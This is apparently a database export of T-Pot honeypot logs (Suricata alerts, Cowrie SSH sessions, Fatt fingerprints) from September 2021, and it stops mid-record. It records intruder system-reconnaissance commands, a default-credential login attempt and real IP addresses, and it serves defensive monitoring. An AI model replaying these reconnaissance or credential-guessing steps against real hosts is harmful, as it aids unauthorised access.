35679	80.158.23.146	109.199.241.180	Suricata	2021-09-20 15:09:54.139356+03	2021-09-20 15:15:03.581689+03	{"_id": "gQYcA3wBvYTbRNuE2l0n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:53.609266+0000", "pkts_toclient": 0, "pkts_toserver": 5, "bytes_toclient": 0, "bytes_toserver": 300}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM Packet with broken ack", "signature_id": 2210051}, "geoip": {"ip": "80.158.23.146", "asn": 3320, "as_org": "Deutsche Telekom AG", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "80.158.23.146", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 395993737677810, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 40162, "timestamp": "2021-09-20T12:09:54.139356Z", "@timestamp": "2021-09-20T12:09:54.139Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	DE
35680	80.158.23.146	109.199.241.180	Suricata	2021-09-20 15:09:54.18446+03	2021-09-20 15:15:03.58369+03	{"_id": "ggYcA3wBvYTbRNuE2l0n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:53.609266+0000", "pkts_toclient": 0, "pkts_toserver": 7, "bytes_toclient": 0, "bytes_toserver": 420}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM Packet with broken ack", "signature_id": 2210051}, "geoip": {"ip": "80.158.23.146", "asn": 3320, "as_org": "Deutsche Telekom AG", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "80.158.23.146", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 395993737677810, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 40162, "timestamp": "2021-09-20T12:09:54.184460Z", "@timestamp": "2021-09-20T12:09:54.184Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	DE
35683	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:09:39.000111+03	2021-09-20 15:15:03.586693+03	{"_id": "ZgYcA3wBvYTbRNuEyl2D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:38.104859+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "87.251.67.120", "flow_id": 2757264578971, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 9614, "timestamp": "2021-09-20T12:09:39.000111Z", "@timestamp": "2021-09-20T12:09:39.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
35684	80.158.23.146	109.199.241.180	Suricata	2021-09-20 15:09:54.122741+03	2021-09-20 15:15:03.588689+03	{"_id": "egYcA3wBvYTbRNuE2l0n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:53.609266+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 240}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM Packet with broken ack", "signature_id": 2210051}, "geoip": {"ip": "80.158.23.146", "asn": 3320, "as_org": "Deutsche Telekom AG", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "80.158.23.146", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 395993737677810, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 40162, "timestamp": "2021-09-20T12:09:54.122741Z", "@timestamp": "2021-09-20T12:09:54.122Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	DE
35685	80.158.23.146	109.199.241.180	Suricata	2021-09-20 15:09:54.146112+03	2021-09-20 15:15:03.58969+03	{"_id": "fwYcA3wBvYTbRNuE2l0n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:53.609266+0000", "pkts_toclient": 0, "pkts_toserver": 6, "bytes_toclient": 0, "bytes_toserver": 360}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "80.158.23.146", "asn": 3320, "as_org": "Deutsche Telekom AG", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "80.158.23.146", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 395993737677810, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 40162, "timestamp": "2021-09-20T12:09:54.146112Z", "@timestamp": "2021-09-20T12:09:54.146Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	DE
35686	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:05.727258+03	2021-09-20 15:15:03.590691+03	{"_id": "CQYdA3wBvYTbRNuEB17t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:05.727258Z", "@timestamp": "2021-09-20T12:10:05.727Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35687	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:05.727797+03	2021-09-20 15:15:03.59169+03	{"_id": "CgYdA3wBvYTbRNuEB17t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:05.727797Z", "@timestamp": "2021-09-20T12:10:05.727Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35694	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 15:10:07.607919+03	2021-09-20 15:15:03.59969+03	{"_id": "JgYdA3wBvYTbRNuED16_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.login.failed", "message": "login attempt [service/service] failed", "session": "295dcc903b2a", "@version": "1", "password": "service", "username": "service", "timestamp": "2021-09-20T12:10:07.607919Z", "@timestamp": "2021-09-20T12:10:07.607Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	US
35688	157.245.53.4	109.199.241.180	Fatt	2021-09-20 15:10:06.816316+03	2021-09-20 15:15:03.59269+03	{"_id": "GwYdA3wBvYTbRNuECl5R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-libssh2_1.9.0", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 33898, "dest_port": 22, "timestamp": "2021-09-20T12:10:06.816316", "@timestamp": "2021-09-20T12:10:06.816Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	US
35689	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:06.624871+03	2021-09-20 15:15:03.59469+03	{"_id": "HwYdA3wBvYTbRNuEC17W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:06.624871Z", "@timestamp": "2021-09-20T12:10:06.624Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35690	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 15:10:06.627853+03	2021-09-20 15:15:03.59569+03	{"_id": "IgYdA3wBvYTbRNuEC17X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh2_1.9.0'", "session": "295dcc903b2a", "version": "b'SSH-2.0-libssh2_1.9.0'", "@version": "1", "timestamp": "2021-09-20T12:10:06.627853Z", "@timestamp": "2021-09-20T12:10:06.627Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	US
35691	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:06.667326+03	2021-09-20 15:15:03.596691+03	{"_id": "IwYdA3wBvYTbRNuEC17X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "163.172.167.225", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.04308009147644043, "duplicate": true, "timestamp": "2021-09-20T12:10:06.667326Z", "@timestamp": "2021-09-20T12:10:06.667Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35692	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:06.671343+03	2021-09-20 15:15:03.59769+03	{"_id": "JAYdA3wBvYTbRNuEC17X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 7.676928520202637, "timestamp": "2021-09-20T12:10:06.671343Z", "@timestamp": "2021-09-20T12:10:06.671Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	FR
35693	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 15:10:06.817441+03	2021-09-20 15:15:03.598691+03	{"_id": "JQYdA3wBvYTbRNuEC17X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "295dcc903b2a", "@version": "1", "timestamp": "2021-09-20T12:10:06.817441Z", "@timestamp": "2021-09-20T12:10:06.817Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	\N	US
35696	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:05.807028+03	2021-09-20 15:15:03.602693+03	{"_id": "DwYdA3wBvYTbRNuEB17v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "163.172.167.225", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.07986736297607422, "duplicate": true, "timestamp": "2021-09-20T12:10:05.807028Z", "@timestamp": "2021-09-20T12:10:05.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35697	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:05.965294+03	2021-09-20 15:15:03.603692+03	{"_id": "EAYdA3wBvYTbRNuEB17v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:05.965294Z", "@timestamp": "2021-09-20T12:10:05.965Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35698	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:05.965828+03	2021-09-20 15:15:03.604689+03	{"_id": "EQYdA3wBvYTbRNuEB17v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:05.965828Z", "@timestamp": "2021-09-20T12:10:05.965Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35699	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:06.395932+03	2021-09-20 15:15:03.60669+03	{"_id": "DgYdA3wBvYTbRNuEB17u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:06.395932Z", "@timestamp": "2021-09-20T12:10:06.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35700	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:06.47364+03	2021-09-20 15:15:03.607691+03	{"_id": "EwYdA3wBvYTbRNuEB17v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "163.172.167.225", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.07780885696411133, "duplicate": true, "timestamp": "2021-09-20T12:10:06.473640Z", "@timestamp": "2021-09-20T12:10:06.473Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35701	157.245.53.4	109.199.241.180	Suricata	2021-09-20 15:10:06.799915+03	2021-09-20 15:15:03.608689+03	{"_id": "FQYdA3wBvYTbRNuECV4O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "flow_id": 173480072893931, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33898, "dest_port": 22, "timestamp": "2021-09-20T12:10:06.799915Z", "@timestamp": "2021-09-20T12:10:06.799Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	US
35702	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:10:06.628344+03	2021-09-20 15:15:03.609691+03	{"_id": "HAYdA3wBvYTbRNuECl5R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "157.245.53.4", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": 